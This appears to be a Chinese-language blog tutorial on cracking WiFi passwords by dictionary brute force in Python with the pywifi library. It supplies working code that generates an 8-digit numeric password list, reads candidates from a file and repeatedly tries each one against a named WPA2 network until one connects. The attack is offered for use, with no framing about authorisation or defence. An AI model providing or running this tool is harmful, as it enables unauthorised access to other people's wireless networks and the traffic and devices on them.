python下的WIFI密码爆破,本文采用的字典方式,也是目前主流的方式之一,理论上只要你的字典够强,破解只是时间问题。这里除介绍密码尝试,关键的字典生成也是本文介绍的重点。
pywifi安装
pywifi提供了一个跨平台的Python模块,用于操作无线接口,支持Windows和Linux。
安装建议采用 pip install pywifi 方式
字典生成
import itertools as its
import datetime
# 记录程序运行时间
start = datetime.datetime.now()
words = '1234567890' # 这里可以加入字母和其他字符,使用string包更方便
# 生成密码的位数
r = its.product(words, repeat=8) # 4即生成4位密码,正常情况下热点密码位数为8
dic = open(r"password.txt", 'a')
for i in r:
dic.write(''.join(i))
dic.write(''.join('\n'))
print(i)
dic.close()
print('密码本生成好了')
end = datetime.datetime.now()
print("生成密码本一共用了多长时间:{}".format(end - start))
可以根据实际情况有针对性的调整字典,也可以使用我已生成的 常用密码本
读取密码本
def readPassword():
# print("开始破解:")
log.logger.info("开始破解:")
# logger.info("开始破解:")
# 密码本路径
path = "./dict/test.txt"
# 打开文件
file = open(path, "r")
while True:
try:
# 一行一行读取
pad = file.readline()
if (pad == ''):
break
bool = wifiConnect(pad)
if bool:
# print("密码已破解: ", pad)
# print("WiFi已自动连接!!!")
log.logger.info("密码已破解: %s", pad)
log.logger.info("WiFi已自动连接!!!")
break
else:
# 跳出当前循环,进行下一次循环
# print("密码破解中....密码校对: ", pad)
log.logger.info("密码破解中....密码校对: %s 失败", pad)
except:
continue
验证连接是否成功
import pywifi
from pywifi import const
import time
import datetime
def wifiConnect(pwd):
# 抓取网卡接口
wifi = pywifi.PyWiFi()
# 获取第一个无线网卡
ifaces = wifi.interfaces()[0]
# 断开所有连接
ifaces.disconnect()
time.sleep(1)
wifistatus = ifaces.status()
if wifistatus == const.IFACE_DISCONNECTED:
# 创建WiFi连接文件
profile = pywifi.Profile()
# 要连接WiFi的名称
profile.ssid = "CMCC-qdjp"
# 网卡的开放状态
profile.auth = const.AUTH_ALG_OPEN
# wifi加密算法,一般wifi加密算法为wps
profile.akm.append(const.AKM_TYPE_WPA2PSK)
# 加密单元
profile.cipher = const.CIPHER_TYPE_CCMP
# 调用密码
profile.key = pwd
# 删除所有连接过的wifi文件
ifaces.remove_all_network_profiles()
# 设定新的连接文件
tep_profile = ifaces.add_network_profile(profile)
ifaces.connect(tep_profile)
# wifi连接时间
time.sleep(3)
if ifaces.status() == const.IFACE_CONNECTED:
return True
else:
return False
else:
# print("已有wifi连接")
log.logger.info("已有wifi连接")
运行
start = datetime.datetime.now()
readPassword()
end = datetime.datetime.now()
# print("破解WIFI密码一共用了多长时间:{}".format(end - start))
log.logger.info("破解WIFI密码一共用了多长时间:{}".format(end - start))